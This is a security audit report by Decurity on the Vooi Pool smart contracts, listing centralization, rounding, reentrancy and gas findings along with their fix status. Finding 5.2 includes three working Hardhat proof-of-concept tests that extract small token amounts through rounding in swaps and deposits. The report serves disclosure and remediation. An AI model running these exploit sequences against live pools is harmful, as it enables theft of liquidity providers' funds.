



Smart Contract Security Audit Report

Vooi Pool

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2. General Information

This report contains information about the results of the security audit of the Vooi (hereafter referred to as “Customer”) Pool smart contracts, conducted by [Decurity](#) in the period from 07/24/2023 to 08/02/2023.

2.1. Introduction

Tasks solved during the work are:

- Review the protocol design and the usage of 3rd party dependencies,
- Audit the contracts implementation,
- Develop the recommendations and suggestions to improve the security of the contracts.

2.2. Scope of Work

The final audit scope included the contracts in the following repository: <https://github.com/vooi-app/pool>. Initial review was done for the commit dd3e0500f202cb8eb80e67bfca25ec208b72ebca in a different private repository. The final review confirmed the fixes and the authenticity of the code in the new repository, commit 855d017c72c46b2152dbcc7f64c36cb9f4f5e817.

2.3. Threat Model

The assessment presumes the actions of an intruder who might have the capabilities of any role (an external user, token owner, token service owner, or a contract).

The main possible threat actors are:

- User,
- Protocol owner,
- Liquidity Token owner/contract.

The table below contains sample attacks that malicious attackers might carry out.

Table. Theoretically possible attacks

Attack	Actor
Contract code or data hijacking <i>Deploying a malicious contract or submitting malicious data</i>	Contract owner Token owner
Financial fraud <i>A malicious manipulation of the business logic and balances, such as a reentrancy attack or a flash loan attack</i>	Anyone
Attacks on implementation <i>Exploiting the weaknesses in the compiler or the runtime of the smart contracts</i>	Anyone

2.4. Weakness Scoring

An expert evaluation scores the findings in this report, and the impact of each vulnerability is calculated based on its ease of exploitation (based on the industry practice and our experience) and severity (for the considered threats).

2.5. Disclaimer

Due to the intrinsic nature of the software and vulnerabilities and the changing threat landscape, it cannot be generally guaranteed that a certain security property of a program holds.

Therefore, this report is provided “as is” and is not a guarantee that the analyzed system does not contain any other security weaknesses or vulnerabilities. Furthermore, this report is not an endorsement of the Customer’s project, nor is it an investment advice.

That being said, Decurity exercises the best effort to perform its contractual obligations and follow the industry methodologies to discover as many weaknesses as possible and maximize the audit coverage using limited resources.

3. Summary

As a result of this work, we have discovered 2 medium risk issues. The other suggestions included fixing the low-risk issues and some best practices (see Security Process Improvement).

3.1. Suggestions

The table below contains the discovered issues, their risk level, and their status as of May 3, 2023.

Table. Discovered weaknesses

Issue	Contract	Risk Level	Status
Centralization risks	contracts/pool/Pool.sol	Medium	Fixed
Rounding issues	contracts/pool/Pool.sol	Medium	Fixed
newMaxSupplyWad could be less than current liability	contracts/pool/Pool.sol	Low	Fixed
Wrong comparison in <code>_isConvertibleToInt256</code>	contracts/pool/Pool.sol	Low	Fixed
Reentrancy in deposit	contracts/pool/Pool.sol	Info	Acknowledged
Revert string longer than 32 bytes	contracts/pool/Pool.sol	Info	Acknowledged
State variables read in a loop	contracts/pool/Pool.sol	Info	Acknowledged
Amplification factor could be 0	contracts/pool/Pool.sol	Info	Acknowledged
Non-optimal require statements	contracts/pool/Pool.sol	Info	Acknowledged
Array length not cached in the loop	contracts/pool/Pool.sol	Info	Acknowledged

Issue	Contract	Risk Level	Status
Unnecessary checked arithmetic in a loop	contracts/pool/Pool.sol	Info	Acknowledged
String error messages used instead of custom errors	contracts/pool/Pool.sol	Info	Acknowledged
Lack of checking the value of maxSupply	contracts/pool/Pool.sol	Info	Acknowledged
Unused storage variable	contracts/pool/Pool.sol	Info	Acknowledged

4. General Recommendations

This section contains general recommendations on how to improve the overall security level.

The Findings section contains technical recommendations for each discovered issue.

4.1. Security Process Improvement

The following is a brief long-term action plan to mitigate further weaknesses and bring the product security to a higher level:

- Keep the whitepaper and documentation updated to make it consistent with the implementation and the intended use cases of the system,
- Perform regular audits for all the new contracts and updates,
- Ensure the secure off-chain storage and processing of the credentials (e.g. the privileged private keys),
- Launch a public bug bounty campaign for the contracts.

5. Findings

5.1. Centralization risks

Risk Level: Medium

Status: The pool's owner will be Timelock which adds transparency to the actions performed by the owner and gives users a chance to take action.

Contracts:

- contracts/pool/Pool.sol

Description:

The owner can add fake tokens to the pool without any limitations. Malicious tokens can be used to drain assets from the pool.

Remediation:

Consider implementing a two-step process for adding assets to the pool which will allow users to withdraw their funds before a new token has been added.

5.2. Rounding issues

Risk Level: Medium

Status: Fixed in the commit [855d017c](#).

Contracts:

- contracts/pool/Pool.sol

Location: Function: deposit, withdraw, swap.

Description:

There are a few cases when the rounding in the underlying calculations leads to small discrepancies.

1. In case when tokens have different decimals, it's possible to claim a small part of the initial pool via swapping and depositing.

Example:

- Token 1 has 6 decimals, Token 2 has 18 decimals
- Initial pool deposit: 100k Token 1, 100k Token 2
- Swap Token 1 → Token 2, to lower Token 2 cash as much as possible
- Deposit into token 1 to get rewards
- Deposit into token 2 to get rewards
- Swap back all received Token 2 to Token 1
- Withdraw Token 1
- Withdraw Token 2
- Swap extra Token 2 to Token 1

As a result, an attacker will have their remaining Token 2 and will get some extra Token 1.

POC:

```
const ampFactor = BigNumber.from('1000000000000000');
const lpFeeRate = BigNumber.from('1000000000000000');
const mintAmount = BigNumber.from(parseEther('100000000000'));
const maxSupply = BigNumber.from(parseEther('100000000000'));
const depositAmount = BigNumber.from(parseEther('100'));

it('Extra token 1', async() => {
  await pool.addAssetOcto(token1.address, maxSupply, '6');
  const token1Index = (await pool.lastIndex()).sub(1);
  expect(await pool.assetToIndex(token1.address)).to.eq(0);
  expect((await pool.indexToAsset('0')).token).to.eq(token1.address);

  await pool.addAssetOcto(token2.address, maxSupply, '18');
  const token2Index = (await pool.lastIndex()).sub(1);

  await token2.mint(user.address, mintAmount);
  await token1.mint(user.address, mintAmount);

  await pool.deposit(
    token1Index,
    depositAmount.mul(1000).div("1000000000000000"),
    0,
    owner.address,
    ethers.constants.MaxUint256
  )

  await pool.deposit(
    token2Index,
    depositAmount.mul(1000),
```

```
    0,  
    owner.address,  
    ethers.constants.MaxUint256  
  )  
  
  let start_balance = await token2.balanceOf(user.address);  
  console.log("user start balance", start_balance);  
  
  const swapAmount = depositAmount.mul(1000).div("1000000000000");  
  
  for (let i = 0; i < 1; i++) {  
    console.log(i);  
    await pool.connect(user).swap(  
      token1Index,  
      token2Index,  
      swapAmount,  
      0,  
      user.address,  
      ethers.constants.MaxUint256,  
    );  
  }  
  
  for (let i = 2; i < 3; i++) {  
    console.log(i);  
    await pool.connect(user).swap(  
      token1Index,  
      token2Index,  
      swapAmount.div(20),  
      0,  
      user.address,  
      ethers.constants.MaxUint256,  
    );  
  }  
  
  for (let i = 3; i < 6; i++) {  
    console.log(i);  
    await pool.connect(user).swap(  
      token1Index,  
      token2Index,  
      swapAmount.div(100),  
      0,  
      user.address,  
      ethers.constants.MaxUint256,  
    );  
  }  
  
  for (let i = 6; i < 9; i++) {  
    console.log(i);  
    await pool.connect(user).swap(  

```

```
        token1Index,  
        token2Index,  
        swapAmount.div(1000),  
        0,  
        user.address,  
        ethers.constants.MaxUint256,  
    );  
}  
  
for (let i = 9; i < 63; i++) {  
    console.log(i);  
    await pool.connect(user).swap(  
        token1Index,  
        token2Index,  
        swapAmount.div(10000),  
        0,  
        user.address,  
        ethers.constants.MaxUint256,  
    );  
}  
  
let balance_after_swap = await token2.balanceOf(user.address);  
let diff = balance_after_swap.sub(start_balance);  
  
await pool.connect(user).deposit(  
    token1Index,  
    depositAmount.mul(500000),  
    0,  
    user.address,  
    ethers.constants.MaxUint256  
)  
  
await pool.connect(user).deposit(  
    token2Index,  
    depositAmount.mul(5000000),  
    0,  
    user.address,  
    ethers.constants.MaxUint256  
)  
  
let user_erc1155_balance = await pool.balanceOf(user.address, 1);  
let user_erc1155_balance_0 = await pool.balanceOf(user.address, 0);  
  
await pool.connect(user).swap(  
    token2Index,  
    token1Index,  
    diff,  
    0,
```

```
        user.address,  
        ethers.constants.MaxUint256,  
    );  
  
    await pool.connect(user).withdraw(  
        token2Index,  
        user_erc1155_balance,  
        '1',  
        user.address,  
        ethers.constants.MaxUint256,  
    )  
  
    await pool.connect(user).withdraw(  
        token1Index,  
        user_erc1155_balance_0,  
        '1',  
        user.address,  
        ethers.constants.MaxUint256,  
    )  
  
    await pool.connect(user).swap(  
        token2Index,  
        token1Index,  
        "9782964771717901869742",  
        0,  
        user.address,  
        ethers.constants.MaxUint256,  
    );  
  
    let final_balance_1 = await token1.balanceOf(user.address);  
    let final_balance_2 = await token2.balanceOf(user.address);  
    console.log("final balance 1", final_balance_1);  
    console.log("final balance 2", final_balance_2);  
  
    let pool_final_balance_1 = await token1.balanceOf(pool.address);  
    let pool_final_balance_2 = await token2.balanceOf(pool.address);  
  
    console.log("pool final balance 1", pool_final_balance_1);  
    console.log("pool final balance 2", pool_final_balance_2);  
  
    })
```

Here, the attacker got an extra 24010292 / 1e6 worth of Token 1.

```
02
final balance 1 BigNumber { value: "100000000000000000000024010292" }
final balance 2 BigNumber { value: "100000000000000000000000000000" }
pool final balance 1 BigNumber { value: "99975989708" }
pool final balance 2 BigNumber { value: "10000000000000000000000000" }
✓ Extra token 1 (996ms)
```

However, this attack requires huge amounts of Token 1 which makes it unrealistic.

2. In case when the fee is set to 0, it's possible to get profit via back swaps.

Example:

- Initial pool deposit: 100k Token 1, 100k token 2
- Swap 100k Token 1 to Token 2
- Swap received Token 2 to Token 1

POC:

```
const ampFactor = BigNumber.from('1000000000000000');
const lpFeeRate = BigNumber.from('0');
const mintAmount = BigNumber.from(parseEther('10000000000'));
const maxSupply = BigNumber.from(parseEther('10000000000'));
const depositAmount = BigNumber.from(parseEther('100'));

it('Zero Fee', async() => {
  await pool.addAssetOcto(token1.address, maxSupply, '18');
  const token1Index = (await pool.lastIndex()).sub(1);
  expect(await pool.assetToIndex(token1.address)).to.eq(0);
  expect((await pool.indexToAsset('0')).token).to.eq(token1.address);

  await pool.addAssetOcto(token2.address, maxSupply, '18');
  const token2Index = (await pool.lastIndex()).sub(1);

  await token2.mint(user.address, mintAmount);
  await token1.mint(user.address, mintAmount);

  await pool.deposit(
    token1Index,
    depositAmount.mul(1000),
    0,
    owner.address,
    ethers.constants.MaxUint256
  )

  await pool.deposit(
    token2Index,
```

```
        depositAmount.mul(1000),
        0,
        owner.address,
        ethers.constants.MaxUint256
    )

    let start_balance = await token2.balanceOf(user.address);
    console.log("user start balance", start_balance);

    const swapAmount = depositAmount.mul(1000);

    await pool.connect(user).swap(
        token1Index,
        token2Index,
        swapAmount,
        0,
        user.address,
        ethers.constants.MaxUint256,
    );

    let balance_after_swap = await token2.balanceOf(user.address);
    let diff = balance_after_swap.sub(start_balance);

    await pool.connect(user).swap(
        token2Index,
        token1Index,
        diff,
        0,
        user.address,
        ethers.constants.MaxUint256,
    );

    let final_balance_1 = await token1.balanceOf(user.address);
    let final_balance_2 = await token2.balanceOf(user.address);
    console.log("final balance 1", final_balance_1);
    console.log("final balance 2", final_balance_2);

    let pool_final_balance_1 = await token1.balanceOf(pool.address);
    let pool_final_balance_2 = await token2.balanceOf(pool.address);

    console.log("pool final balance 1", pool_final_balance_1);
    console.log("pool final balance 2", pool_final_balance_2);
})
```

In this case, the attacker got an extra 100000 / 1e18 Token 1.

[illegible]

3. In cases when cash is very low relative to liability or very high relative to liability it's possible to swap 0 amounts for actual tokens.

POC:

```
const ampFactor = BigNumber.from('10000000000000');
const lpFeeRate = BigNumber.from('10000000000000');
const mintAmount = BigNumber.from(parseEther('10000000000'));
const maxSupply = BigNumber.from(parseEther('10000000000'));
const depositAmount = BigNumber.from(parseEther('100'));

it('Zero Swap', async() => {
  await pool.addAssetOcto(token1.address, maxSupply, '18');
  const token1Index = (await pool.lastIndex()).sub(1);
  expect(await pool.assetToIndex(token1.address)).to.eq(0);
  expect((await pool.indexToAsset('0')).token).to.eq(token1.address);

  await pool.addAssetOcto(token2.address, maxSupply, '18');
  const token2Index = (await pool.lastIndex()).sub(1);

  await token2.mint(user.address, mintAmount);
  await token1.mint(user.address, mintAmount);

  await pool.deposit(
    token1Index,
    depositAmount.mul(1000),
    0,
    owner.address,
    ethers.constants.MaxUint256
  )

  await pool.deposit(
    token2Index,
    depositAmount.mul(1000),
    0,
    owner.address,
    ethers.constants.MaxUint256
  )

  let start_balance = await token2.balanceOf(user.address);
  console.log("user start balance", start_balance);
```

```
const swapAmount = depositAmount.mul(1000);

for (let i = 0; i < 1; i++) {
  console.log(i);
  await pool.connect(user).swap(
    token1Index,
    token2Index,
    swapAmount,
    0,
    user.address,
    ethers.constants.MaxUint256,
  );
}

for (let i = 1; i < 2; i++) {
  console.log(i);
  await pool.connect(user).swap(
    token1Index,
    token2Index,
    swapAmount.div(20),
    0,
    user.address,
    ethers.constants.MaxUint256,
  );
}

for (let i = 3; i < 6; i++) {
  console.log(i);
  await pool.connect(user).swap(
    token1Index,
    token2Index,
    swapAmount.div(100),
    0,
    user.address,
    ethers.constants.MaxUint256,
  );
}

for (let i = 6; i < 14; i++) {
  console.log(i);
  await pool.connect(user).swap(
    token1Index,
    token2Index,
    swapAmount.div(1000),
    0,
    user.address,
    ethers.constants.MaxUint256,
  );
}
```



```
}

for (let i = 14; i < 18; i ++) {
  console.log(i);
  await pool.connect(user).swap(
    token1Index,
    token2Index,
    swapAmount.div(10000),
    0,
    user.address,
    ethers.constants.MaxUint256,
  );
}

for (let i = 18; i < 25; i ++) {
  console.log(i);
  await pool.connect(user).swap(
    token1Index,
    token2Index,
    swapAmount.div(100000),
    0,
    user.address,
    ethers.constants.MaxUint256,
  );
}

for (let i = 25; i < 33; i ++) {
  console.log(i);
  await pool.connect(user).swap(
    token1Index,
    token2Index,
    swapAmount.div(1000000),
    0,
    user.address,
    ethers.constants.MaxUint256,
  );
}

for (let i = 33; i < 41; i ++) {
  console.log(i);
  await pool.connect(user).swap(
    token1Index,
    token2Index,
    swapAmount.div(10000000),
    0,
    user.address,
    ethers.constants.MaxUint256,
  );
}
```

```
for (let i = 41; i < 42; i++) {
  console.log(i);
  await pool.connect(user).swap(
    token1Index,
    token2Index,
    swapAmount.div(100000000),
    0,
    user.address,
    ethers.constants.MaxUint256,
  );
}

let user_1_balance_before_swap = await token1.balanceOf(user.address);

await pool.connect(user).swap(
  token2Index,
  token1Index,
  0,
  0,
  user.address,
  ethers.constants.MaxUint256,
);

let user_1_balance_after_swap = await token1.balanceOf(user.address);
console.log("Swapped 0 token 1 for ",
user_1_balance_after_swap.sub(user_1_balance_before_swap));

let user_2_balance_before_swap = await token2.balanceOf(user.address);

await pool.connect(user).swap(
  token1Index,
  token2Index,
  0,
  0,
  user.address,
  ethers.constants.MaxUint256,
);

let user_2_balance_after_swap = await token2.balanceOf(user.address);
console.log("Swapped 0 token 2 for ",
user_2_balance_after_swap.sub(user_2_balance_before_swap));
})
```

Here the attacker was able to get 100000 / 1e18 worth of Token 2 and 100000 / 1e18 worth of Token 1 for free.

```
Swapped 0 token 1 for BigNumber { value: "100000" }  
Swapped 0 token 2 for BigNumber { value: "100000" }  
✓ Zero Swap (678ms)
```

Remediation:

Consider the possible discrepancies in the risk model and the accounting. If feasible, mitigate by setting tighter limits on the amounts.

5.3. newMaxSupplyWad could be less than the current liability

Risk Level: Low**Status:** Fixed in the commit [855d017c](#).**Contracts:**

- contracts/pool/Pool.sol

Description:

The `changeMaxSupply()` function can be used to change the `maxSupply` parameter for a given asset. That function has several `require` statements but it doesn't validate that the current liability is less than the new supply. If the current liability is higher than the new `maxSupply` that means that the given pool will never stabilize because the cash value will always be less than the liability.

Remediation:

Consider implementing the following check:

```
require(  
    indexToAsset[_tokenId].liability <= newMaxSupplyWad,  
    'Current liability exceeds given maxSupply'  
);
```

5.4. Wrong comparison in `_isConvertibleToInt256`

Risk Level: Low**Status:** Fixed in the commit [855d017c](#).**Contracts:**

- contracts/pool/Pool.sol

Location: Lines: 772.

Description:

The operator in `_isConvertibleToInt256()` should be \leq instead of the strict comparison.

```
contracts/pool/Pool.sol:
767:     function _isConvertibleToInt256(uint256 _value)
768:     private
769:     view
770:     returns (bool)
771:     {
772:         return _value < uint256(type(int256).max);
773:     }
```

Remediation:

Consider changing the comparison operator to \leq .

5.5. Reentrancy in deposit

Risk Level: Info

Status: Acknowledged

Contracts:

- contracts/pool/Pool.sol

Location: Lines: 389. Function: deposit.

Description:

The function `deposit` performs the `onERC1155Received` callback when calling `_mint(_to, _id, liquidity, '')`; to mint a new position on line 389. This allows users to perform re-entrant calls to `deposit` itself or other functions.

Despite the fact that reentrancy itself doesn't seem to have any impact, it allows users to perform flash loans in the pool via calling `withdraw` in `onERC1155Received` callback. This is possible because tokens for deposit are transferred after minting position at line 391.

Remediation:

In order to fix the reentrancy, the token transfer should be done before minting the new position.

5.6. Revert string longer than 32 bytes

Risk Level: Info

Status: Acknowledged

Contracts:

- contracts/pool/Pool.sol

Description:

Shortening revert strings to fit in 32 bytes will decrease gas costs for deployment and gas costs when the revert condition has been met.

Here are examples of longer revert strings:

```
contracts/pool/Pool.sol:
249         _isConvertibleToInt256(indexToAsset[_id].cash),
250         'Impossible to spread accumulated error'
251     );
contracts/pool/Pool.sol:
301         indexToAsset[_tokenId].cash <= newMaxSupplyWad,
302         'Current balance exceeds given maxSupply'
303     );
```

Remediation:

Consider using short revert strings or custom errors for gas optimization.

References:

- <https://github.com/byterocket/c4-common-issues/blob/main/0-Gas-Optimizations.md/#g007—long-revert-strings>

5.7. State variables read in a loop

Risk Level: Info

Status: Acknowledged

Contracts:

- contracts/pool/Pool.sol

Description:

There are two places where the storage variable is read on every iteration of a loop.

```
contracts/pool/Pool.sol:
650:         for (uint256 i = 0; i < lastIndex; i++) {
668:         for (uint256 i = 0; i < lastIndex; i++) {
```

Remediation:

Consider caching lastIndex in memory before the loops to save gas.

5.8. The amplification factor could be 0

Risk Level: Info

Status: Acknowledged

Contracts:

- contracts/pool/Pool.sol

Description:

The owner of the contract could set the amplification factor to 0 using the setA() or initialize() functions due to the lack of validation. Setting the amplification factor to 0 would break deposits due to division by zero and lead to a DoS.

Remediation:

Validate the amplification factor.

5.9. Non-optimal require statements

Risk Level: Info

Status: Acknowledged

Contracts:

- contracts/pool/Pool.sol

Description:

Using multiple require statements is cheaper than using conjugating (&&) multiple checks. There are more advantages, such as easier-to-read code and better coverage reports.

```
contracts/pool/Pool.sol:
736:     require(toLiabilityI != 0 && fromLiabilityI != 0, 'Invalid
value');
```

Remediation:

Example of a non-optimal code:

```
require(amount > 0 && from == owner, "Invalid data");
```

Consider separate check:

```
require(amount > 0, "Amount is zero");  
require(from == owner, "Not an owner");
```

References:

- <https://github.com/code-423n4/2022-01-xdefi-findings/issues/128>

5.10. Array length not cached in the loop

Risk Level: Info

Status: Acknowledged

Contracts:

- contracts/pool/Pool.sol

Description:

Caching the array length outside a loop saves reading it on each iteration, as long as the array's length is not changed during the loop.

There are the following instances:

```
contracts/pool/Pool.sol:  
650:     for (uint256 i = 0; i < lastIndex; i++) {  
668:     for (uint256 i = 0; i < lastIndex; i++) {
```

Remediation:

Example of a not-optimized code:

```
for (uint256 i = 0; i < tokens.length; i++) {
```

Consider saving the array length before the loop:

```
uint256 l = tokens.length;  
for (uint256 i = 0; i < l; i++) {
```

References:

- <https://github.com/byterocket/c4-common-issues/blob/main/0-Gas-Optimizations.md/#g002—cache-array-length-outside-of-loop>
- <https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/36>

5.11. Unnecessary checked arithmetic in a loop

Risk Level: Info

Status: Acknowledged

Contracts:

- contracts/pool/Pool.sol

Description:

Use unchecked blocks where overflow/underflow is impossible. There are several loops where arithmetic checks are not necessary:

```
contracts/pool/Pool.sol:
650:     for (uint256 i = 0; i < lastIndex; i++) {
668:     for (uint256 i = 0; i < lastIndex; i++) {
```

Remediation:

An example of a not-optimized code:

```
for (uint i; i < len; ++i) {
    // ...
}
```

Consider the following example to save gas:

```
for (uint i; i < len; ) {
    // ...
    unchecked { ++i; }
}
```

References:

- <https://github.com/byterocket/c4-common-issues/blob/main/0-Gas-Optimizations.md/#g011—unnecessary-checked-arithmetic-in-for-loop>

5.12. String error messages are used instead of custom errors

Risk Level: Info

Status: Acknowledged

Contracts:

- contracts/pool/Pool.sol

Description:

The contracts make use of the `require()` to emit an error. While this is a perfectly valid way to handle errors in Solidity, it is not always the most efficient.

```
contracts/pool/Pool.sol:
119:   require(to != address(0), 'Zero address');
124:   require(deadline > block.timestamp, 'Deadline not met');

137:   require(_a <= WAD, 'Invalid value');
138:   require(_lpFee <= WAD, 'Invalid value');
163:   require(_newA <= WAD, 'Invalid value');
173:   require(_newLpFee <= WAD, 'Invalid value');
179:   require(_newLpDividendRatio <= WAD, 'Invalid value');
245:   require(_amount <= accumulatedError, 'Invalid value');
248:   require(_isConvertibleToInt256(indexToAsset[_id].cash), 'Impossible
to spread accumulated error');
270:   require(indexToAsset[assetToIndex[_token]].token != _token, 'Asset
has already been added');
296:   require(_isConvertibleToInt256(newMaxSupplyWad), 'New max supply
too high');
300:   require(indexToAsset[_tokenId].cash <= newMaxSupplyWad, 'Current
balance exceeds given maxSupply');
360:   require(indexToAsset[_id].active, 'Asset was deactivated by
owner');
361:   require(indexToAsset[_id].cash +
_amount.toWad(indexToAsset[_id].decimals) <= indexToAsset[_id].maxSupply,
'Forbidden: max supply exceeded');
377:   require(_minimumLiquidity < liquidity, 'Amount too low');
378:   require(_isConvertibleToInt256(indexToAsset[_id].liability +
liabilityToMint), 'Liability too high');
437:   require(_minAmount.toWad(asset.decimals) < amount, 'Amount too
low');
447:   require(asset.liability <= 0 || asset.cash.wdiv(asset.liability) >=
WAD / 100, 'Forbidden withdraw');
493:   require(indexToAsset[_fromID].active, 'Asset was deactivated by
owner');
494:   require(indexToAsset[_toID].active, 'Asset was deactivated by
owner');
```

```
495:   require(indexToAsset[_fromID].token != indexToAsset[_toID].token,
'Same address');
499:   require(indexToAsset[_fromID].cash +
_fromAmount.toWad(indexToAsset[_fromID].decimals) <=
indexToAsset[_fromID].maxSupply, 'Forbidden: max supply exceeded');
547:   require(_isConvertibleToInt256(fromAmount +
indexToAsset[fromAsset].cash), 'Initial amount too high');
556:   require(minimumToAmount < actualToAmount, 'Amount too low');
564:
require(uint256(indexToAsset[toAsset].cash).wdiv(indexToAsset[toAsset].liabili
ty) >= WAD / 100, 'Forbidden _swap');
615:   require(cashI + amountI >= 0, 'Invalid value');
693:   require(liabilityToBurn != 0, 'Zero liquidity');
736:   require(toLiabilityI != 0 && fromLiabilityI != 0, 'Invalid value');
757:   require(toCash >= idealToAmount, 'Not enough cash');
```

Remediation:

Consider using custom errors as they are more gas-efficient while allowing developers to describe the error in detail using NatSpec.

References:

- <https://blog.soliditylang.org/2021/04/21/custom-errors/>

5.13. Lack of checking the value of maxSupply

Risk Level: Info

Status: Acknowledged

Contracts:

- contracts/pool/Pool.sol

Description:

The owner of the Pool can add new assets via the `addAssetOcto()` function. There are several arguments that should be provided, one of them is `maxSupply`. This parameter can be higher than the `int256` max value but there is no check for that.

This means that the validation in the `deposit()` and `swap()` functions is not working as expected because `maxSupply` could be more than `int256.max`:

```
contracts/pool/Pool.sol:
361:   require(
362:       indexToAsset[_id].cash +
```

```
363:         _amount.toWad(indexToAsset[_id].decimals) <=
364:         indexToAsset[_id].maxSupply,
365:         'Forbidden: max supply exceeded'
366:     ); // new cash value is less than int256.max (maxSupply is less
than int256.max)
```

Remediation:

Consider adding a validation as it is done in the `changeMaxSupply()` function:

```
require(
    _isConvertibleToInt256(newMaxSupplyWad),
    'New max supply too high'
);
```

5.14. Unused storage variable

Risk Level: Info**Status:** Acknowledged**Contracts:**

- contracts/pool/Pool.sol

Description:

There is a storage variable `feeTo` and a setter function for it — `setFeeTo()`.

```
contracts/pool/Pool.sol:
62:     address public feeTo;

190:     function setFeeTo(address _newFeeTo)
191:     external
192:     onlyOwner
193:     checkAddress(_newFeeTo)
194:     {
195:         feeTo = _newFeeTo;
196:         emit NewFeeTo(_newFeeTo);
197:     }
```

However, in reality, the `feeCollector` address receives all fees.

```
779:     function _mintFee(uint256 id) private {
780:         // dividend to feeCollector
781:         dividend = feeCollected.wmul(WAD - lpDividendRatio);
782:
783:         if (dividend > 0) {
784:             IERC20Upgradeable(indexToAsset[id].token).safeTransfer(
```

```
792:         feeCollector,  
793:         dividend.fromWad(indexToAsset[id].decimals)  
794:     );  
795:     }  
796: }
```

Remediation:

Consider removing the unused variable.

6. Appendix

6.1. About us

The [Decurity](#) team consists of experienced hackers who have been doing application security assessments and penetration testing for over a decade.

During the recent years, we've gained expertise in the blockchain field and have conducted numerous audits for both centralized and decentralized projects: exchanges, protocols, and blockchain nodes.

Our efforts have helped to protect hundreds of millions of dollars and make web3 a safer place.